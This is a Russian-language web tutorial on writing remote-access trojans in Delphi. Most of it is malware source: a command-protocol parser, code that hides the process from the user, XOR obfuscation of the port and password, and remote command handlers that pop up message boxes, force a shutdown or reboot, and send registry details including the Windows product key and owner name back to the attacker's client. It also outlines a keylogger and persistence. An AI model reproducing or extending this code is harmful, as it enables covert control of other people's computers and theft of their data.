|
|||||||||||||||||||
|
Теория написания трояновВ этой статье описана теория написания троянов(client/server) на Delphi, работающих по протоколу TCP/IP. Для начала, я считаю, надо разработать протокол обмена. Вы должны выбрать между побайтовой или построковой работой. Я приведу пример построкового протокола обмена: Где: 1. com. - команда 2. sig. - сигнатура 3. par. - параметр 4. [ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре) А вот пример реализации такого протокола обмена: function _parser(str:string):tstringlist; var s : tstringlist; i : integer; st : integer; sp : boolean; begin st := 0; sp := true; s := tstringlist.create; s.add(''); for i := 1 to length(str) do begin if str[i] = '†' then begin if not sp then begin inc(st); s.add(''); end; sp := true; end else begin sp := false; s.strings[st] := s.strings[st] + str[i]; end; end; if sp then s.delete(s.count-1); result:=s; end;Эта функция делит переданную ей строчку на слова(разделителем здесь является символ †). Например, если функции передать: abc†1000†abc†abc, то в ответе мы получим tstringlist такого вида: abc 1000 abc abcТаким образом при получении какой-либо строки мы передаем ее параметром в функцию _parser, а ответом функции будет трафик разобранный на части согласно данному протоколу обмена. Что означает первая часть протокола обмена(команда), думаю, не надо объяснять. Я считаю, что лучше не писать троянов, работающих по нескольким портам(одновременно). Из-за этого в данном протоколе обмена есть такая вещь, как сигнатура. Люди пишут трояны работающие на нескольких портах, чтобы распределить команды по какому-либо признаку. Например, первый порт - команды работы с файлами, второй порт - остальные команды. При помощи сигнатуры тоже можно разделить все команды на несколько типов. Например, сигнатуре 1 соответствует перечень команд работы с файлами, а сигнатуре 2 соответствует перечень других команд. Количество параметров для каждой команды может быть разным, можно даже сделать команды с переменным количеством параметров. Разделитель - это некий барьер отделяющий составляющие части протокола обмена. После реализации протокола обмена можно сразу сделать троян невидимым для "постороннего взгляда". Есть много способов исполнения этой задачи. Приведу один из них, на мой взгляд, самый простой: type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword; stdcall;А при создании формы пишем: var hndl : thandle; registerserviceprocess : tregisterserviceprocess; begin hndl:=loadlibrary('KERNEL32.DLL'); registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess'); registerserviceprocess(getcurrentprocessid,1); freelibrary(hndl);Да, и не забудьте в самом проекте указать: application.showmainform:=false; А вот механизм инсталляции в систему, если его написать слишком рано, может затруднить отладку трояна. Все значения, такие как: порт, пароль и т.п. должны быть в зашифрованном виде. Для этой цели советую не использовать очень сложные алгоритмы шифрования. Если кому-то понадобится эта информация, то он все равно ее получит. Можно использовать, например, такой алгоритм шифрования: function crypt(str:string):string; var len : integer; a : integer; b : integer; c : integer; d : integer; r : string; begin d := 13; r := ''; len := length(str); for a := 1 to len do begin b := ord(str[a]); b := b - 32; c := b xor d; c := c + 32; r := r + chr(c); d := d + 1; end; result := r; end;Я могу расшифровать информацию, зашифрованную этим алгоритмом, в уме, но все равно для своей задачи он пригоден. Также можно использовать его и для шифрования трафика, но тогда придется чуть изменить схему трояна: сначала трафик передается функции crypt, а потом функции _parser. После реализации протокола обмена и шифрования значений можно переходить к самому трояну. Я обычно пишу примерно по такой схеме: Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды. На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд: Это пример команды messagebox. Я не буду объяснять значение всех переменных т.к. это всего лишь пример и здесь итак все понятно. _com - команда _data - ответ функции _parser const _line = #13+#10; _icon : array [0..4] of integer=(0,mb_iconexclamation, mb_iconinformation,mb_iconstop,mb_iconquestion); ############################################################ if _com = 2 then begin if _data.count = 6 then if (strtoint(_data[5]) = 0) or (strtoint(_data[5]) = 1) or (strtoint(_data[5]) = 2) or (strtoint(_data[5]) = 3) or (strtoint(_data[5]) = 4) then begin if _data[2] = '1' then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_ok + _icon[strtoint(_data[5])]) <> 0 then begin socket.sendtext(_name+' : true {2,1,'+_data[5]+'}'+_line); socket.sendtext(_name+' : ok {2,1,'+_data[5]+'}'+_line); end; end; if _data[2] = '2' then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_okcancel + _icon[strtoint(_data[5])]) = idok then begin socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line); socket.sendtext(_name+' : ok {2,2,'+_data[5]+'}'+_line); end else begin socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line); socket.sendtext(_name+' : cancel {2,2,'+_data[5]+'}'+_line); end; end; if _data[2] = '3' then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_yesno + _icon[strtoint(_data[5])]) = idyes then begin socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line); socket.sendtext(_name+' : yes {2,3,'+_data[5]+'}'+_line); end else begin socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line); socket.sendtext(_name+' : no {2,3,'+_data[5]+'}'+_line); end; end; if _data[2] = '4' then begin k := messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_abortretryignore + _icon[strtoint(_data[5])]); if k = idabort then begin socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line); socket.sendtext(_name+' : abort {2,4,'+_data[5]+'}'+_line); end else if k = idretry then begin socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line); socket.sendtext(_name+' : retry {2,4,'+_data[5]+'}'+_line); end else if k = idignore then begin socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line); socket.sendtext(_name+' : ignore {2,4,'+_data[5]+'}'+_line); end; end; if _data[2] = '5' then begin k := messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_yesnocancel + _icon[strtoint(_data[5])]); if k = idyes then begin socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line); socket.sendtext(_name+' : yes {2,5,'+_data[5]+'}'+_line); end else if k = idno then begin socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line); socket.sendtext(_name+' : no {2,5,'+_data[5]+'}'+_line); end else if k = idcancel then begin socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line); socket.sendtext(_name+' : cancel {2,5,'+_data[5]+'}'+_line); end; end; if _data[2] = '6' then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then begin socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line); socket.sendtext(_name+' : retry {2,6,'+_data[5]+'}'+_line); end else begin socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line); socket.sendtext(_name+' : cancel {2,6,'+_data[5]+'}'+_line); end; end; exit; end; end; Пример команды exitwindows: if _com = 6 then begin if _data.count = 3 then begin if _data[2] = '1' then begin socket.sendtext(_name+' : true {6,1}'+_line); exitwindows(ewx_force,1); end else if _data[2] = '2' then begin socket.sendtext(_name+' : true {6,2}'+_line); exitwindows(ewx_logoff,1); end else if _data[2] = '3' then begin socket.sendtext(_name+' : true {6,3}'+_line); exitwindows(ewx_poweroff,1); end else if _data[2] = '4' then begin socket.sendtext(_name+' : true {6,4}'+_line); exitwindows(ewx_reboot,1); end; if _data[2] = '5' then begin socket.sendtext(_name+' : true {6,5}'+_line); exitwindows(ewx_shutdown,1); end; exit; end; end; Сбор некоторых сведений о системе: if _com = 7 then begin if _data.count = 2 then begin _inf := tregistry.create; _inf.rootkey:=hkey_local_machine; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('Version') else st := 'unknown'; socket.sendtext(_name+' : system : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('hardware\description\system\centralprocessor\0',true) = true then st := _inf.readstring('vendoridentifier') else st := 'unknown'; socket.sendtext(_name+' : processor : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('config\0001\display\settings',true) = true then st := _inf.readstring('resolution') else st := 'unknown'; socket.sendtext(_name+' : resolution : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('config\0001\display\settings',true) = true then st := _inf.readstring('bitsperpixel') else st := 'unknown'; socket.sendtext(_name+' : bits per pixel : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('systemroot') else st := 'unknown'; socket.sendtext(_name+' : system root : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('productkey') else st := 'unknown'; socket.sendtext(_name+' : product key : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('productname') else st := 'unknown'; socket.sendtext(_name+' : product name : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('programfilespath') else st := 'unknown'; if st = '' then begin _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('programfilesdir') else st := 'unknown'; end; socket.sendtext(_name+' : programfiles path : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('registeredorganization') else st := 'unknown'; socket.sendtext(_name+' : registered organization : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('registeredowner') else st := 'unknown'; socket.sendtext(_name+' : registered owner : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('sm_accessoriesname') else st := 'unknown'; socket.sendtext(_name+' : accessories name : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('versionnumber') else st := 'unknown'; socket.sendtext(_name+' : version number : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('wallpaperdir') else st := 'unknown'; socket.sendtext(_name+' : wall paper dir : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('productid') else st := 'unknown'; socket.sendtext(_name+' : product id : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('otherdevicepath') else st := 'unknown'; socket.sendtext(_name+' : other device path : '+st+' {7}'+_line); _inf.closekey; if _inf.openkey('software\microsoft\windows\currentversion',true) = true then st := _inf.readstring('mediapath') else st := 'unknown'; socket.sendtext(_name+' : media path : '+st+' {7}'+_line); _inf.closekey; _inf.destroy; exit; end; end; Проставление приоритета своему процессу: if _com = 14 then begin if _data.count = 2 then begin if pr = false then begin processid := getcurrentprocessid; processhandle := openprocess(process_set_information,false,processid); setpriorityclass(processhandle,realtime_priority_class); threadhandle := getcurrentthread; setthreadpriority(threadhandle,thread_priority_time_critical); socket.sendtext(_name+' : true (on) {14}'+_line); pr := true; end else begin processid := getcurrentprocessid; processhandle := openprocess(process_set_information,false,processid); setpriorityclass(processhandle,normal_priority_class); threadhandle := getcurrentthread; setthreadpriority(threadhandle,thread_priority_normal); socket.sendtext(_name+' : true (off) {14}'+_line); pr := false; end; exit; end; end; Это самые простые примеры, указывающие на то, как это должно быть. Ну вот вроде и все. Спасибо за внимание.
|
|
Web дизайн: Бурлаков Михаил
Web программирование: Бурлаков Михаил